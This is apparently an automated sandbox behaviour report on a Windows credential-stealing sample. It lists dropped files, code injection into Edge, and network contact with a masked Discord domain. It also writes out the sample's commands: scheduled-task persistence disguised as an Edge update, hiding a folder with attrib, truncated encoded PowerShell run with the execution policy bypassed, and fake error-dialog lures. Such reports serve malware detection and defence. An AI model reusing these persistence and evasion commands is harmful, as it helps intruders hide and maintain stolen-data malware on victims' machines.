Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\edgebrowserupdate_t6usqa
Malicious functions
Injects code into
the following user processes:
- msedge.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\binding\node-v108-win32-x64\node_sqlite3.node
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node
- %HOMEPATH%\.cache\pkg\042952fabdd38a3b84572bd8f5e4697152ce8491eb3fe620d2a140ef3d4330d5\node-dpapi-prebuilt\package.json
- %HOMEPATH%\.cache\pkg\042952fabdd38a3b84572bd8f5e4697152ce8491eb3fe620d2a140ef3d4330d5\node-dpapi-prebuilt\index.js
- %HOMEPATH%\.cache\pkg\042952fabdd38a3b84572bd8f5e4697152ce8491eb3fe620d2a140ef3d4330d5\node-dpapi-prebuilt\bin\x64\node-dpapi.node
- nul
- %ALLUSERSPROFILE%\microsoft\usersettings\winhost.lock
- %TEMP%\content\4448-3260-mshta.exe-20-25-59-227.dump
- %ALLUSERSPROFILE%\microsoft\usersettings\nganadpnjr\en-jkiergsk\log.txt
- %TEMP%\content\5892-1172-mshta.exe-20-26-11-196.dump
- %APPDATA%\microsoft\windows\cudlfww1\ereqxkte.exe
- %APPDATA%\microsoft\windows\cudlfww1\rugzkdxw.vbs
- %APPDATA%\microsoft\windows\cudlfww1\uowe9np1.xml
- %TEMP%\svchost_38r59yg6.tmp
Deletes following files that it created itself
- <SYSTEM32>\tasks\edgebrowserupdate_t6usqa
- %TEMP%\svchost_38r59yg6.tmp
Network activity
Connects to
- 'di##ord.com':443
TCP
Other
- 'di##ord.com':443
UDP
- DNS ASK di##ord.com
Miscellaneous
Creates and executes the following
- '%TEMP%\svchost_38r59yg6.tmp' --output-path %TEMP%\_cld_out_5472 all
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABkAGQAbwBqAHUAYwBcAGIAdwB6AG4AaABxAGsAYgAuAGUAe...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABkAGQAbwBqAHUAYwBcAGIAdwB6AG4AaABxAGsAYgAuAGUAeABlACIAIAAtAEEAcgBnAH...
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("MsgBox ""The application was unable to start correctly (0xc000007b). Click OK to close the application."", 16, ""Application Error"":close")"
- '<SYSTEM32>\mshta.exe' vbscript:Execute("MsgBox ""The application was unable to start correctly (0xc000007b). Click OK to close the application."", 16, ""Application Error"":close")
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("MsgBox ""api-ms-win-crt-runtime-l1-1-0.dll is either not designed to run on Windows or contains an error. Try reinstalling the program."", 16, ""System Error""...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHea...
- '<SYSTEM32>\mshta.exe' vbscript:Execute("MsgBox ""api-ms-win-crt-runtime-l1-1-0.dll is either not designed to run on Windows or contains an error. Try reinstalling the program."", 16, ""System Error"":close")
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserU...
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "%APPDATA%\Microsoft\Windows\CUdlfWW1""
- '<SYSTEM32>\attrib.exe' +h +s "%APPDATA%\Microsoft\Windows\CUdlfWW1"
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "EdgeBrowserUpdate_T6USQA" /xml "%APPDATA%\Microsoft\Windows\CUdlfWW1\uowE9np1.xml" /f"
- '<SYSTEM32>\schtasks.exe' /create /tn "EdgeBrowserUpdate_T6USQA" /xml "%APPDATA%\Microsoft\Windows\CUdlfWW1\uowE9np1.xml" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "EdgeBrowserUpdate_T6USQA" /tr "wscript.exe //nologo \"%APPDATA%\Microsoft\Windows\CUdlfWW1\RugzkDXW.vbs\"" /sc onlogon /rl highest /f"
- '<SYSTEM32>\schtasks.exe' /create /tn "EdgeBrowserUpdate_T6USQA" /tr "wscript.exe //nologo \"%APPDATA%\Microsoft\Windows\CUdlfWW1\RugzkDXW.vbs\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"
- '<SYSTEM32>\tasklist.exe'
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
- '<SYSTEM32>\reg.exe' query "HKCU\Software\Valve\Steam" /v SteamPath
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABkAGQAbwBqAHUAYwBcAGIAdwB6AG4AaABxAGsAYgAuAGUAe...' (with hidden window)
- '<Full path to file>' C:\snapshot\ys3\YS3GİZLİ\build\index.js --hidden --folder ngAnAdPnJr' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("MsgBox ""The application was unable to start correctly (0xc000007b). Click OK to close the application."", 16, ""Application Error"":close")"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("MsgBox ""api-ms-win-crt-runtime-l1-1-0.dll is either not designed to run on Windows or contains an error. Try reinstalling the program."", 16, ""System Error""...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHea...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "%APPDATA%\Microsoft\Windows\CUdlfWW1""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "EdgeBrowserUpdate_T6USQA" /xml "%APPDATA%\Microsoft\Windows\CUdlfWW1\uowE9np1.xml" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "EdgeBrowserUpdate_T6USQA" /tr "wscript.exe //nologo \"%APPDATA%\Microsoft\Windows\CUdlfWW1\RugzkDXW.vbs\"" /sc onlogon /rl highest /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"' (with hidden window)
- '%TEMP%\svchost_38r59yg6.tmp' --output-path %TEMP%\_cld_out_5472 all' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"' (with hidden window)
